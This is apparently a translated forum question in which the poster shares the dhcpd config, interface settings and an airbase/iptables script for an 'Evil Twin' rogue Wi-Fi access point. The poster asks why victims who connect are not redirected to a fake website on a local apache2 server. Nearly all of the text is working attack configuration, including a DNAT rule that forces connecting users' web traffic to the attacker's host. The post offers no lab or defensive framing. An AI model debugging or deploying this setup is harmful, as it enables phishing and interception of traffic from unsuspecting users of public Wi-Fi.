Поэтому я установил точку доступа Evil Twin, и когда пользователь подключается, он передает данные Wi-Fi и все такое, но он изначально не отправляет пользователя на мой фальшивый веб-сайт через порт 80 локального хоста apache2. Вот мои конфиги:/etc/network/interfaces:
# interfaces(5) file used by ifup(8) and ifdown(8)
auto lo
iface lo inet loopback
/etc/dhcpd/dhcpd.conf:
authoritative;
default-lease-time 600;
max-lease-time 7200;
subnet 192.168.1.128 netmask 255.255.255.128 {
option subnet-mask 255.255.255.128;
option routers 192.168.1.129;
option broadcast-address 192.168.1.255;
option domain-name-servers 8.8.8.8;
range 192.168.1.130 192.168.1.140;
}
Поэтому я запускаю команду airbase на беспроводном адаптере и настраиваю iptables и маршруты. Это, вероятно, где я делаю что-то не так:
#!/bin/sh
ifconfig at0 up
ifconfig at0 192.168.1.129 netmask 255.255.255.128
route add -net 192.168.1.128 netmask 255.255.255.128 gw 192.168.1.129
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables --table nat --append POSTROUTING --out-interface wlp3s0 -j MASQUERADE
iptables --append FORWARD --in-interface at0 -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.88.222:80
iptables -t nat -A POSTROUTING -j MASQUERADE
Эта строка предположительно связывает сайт моего сервера с любым, кто присоединяется к точке доступа:
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.88.222:80
Я не очень хорош с iptables и маршрутизацией, и было бы замечательно, если бы кто-то мог помочь. Приветствия.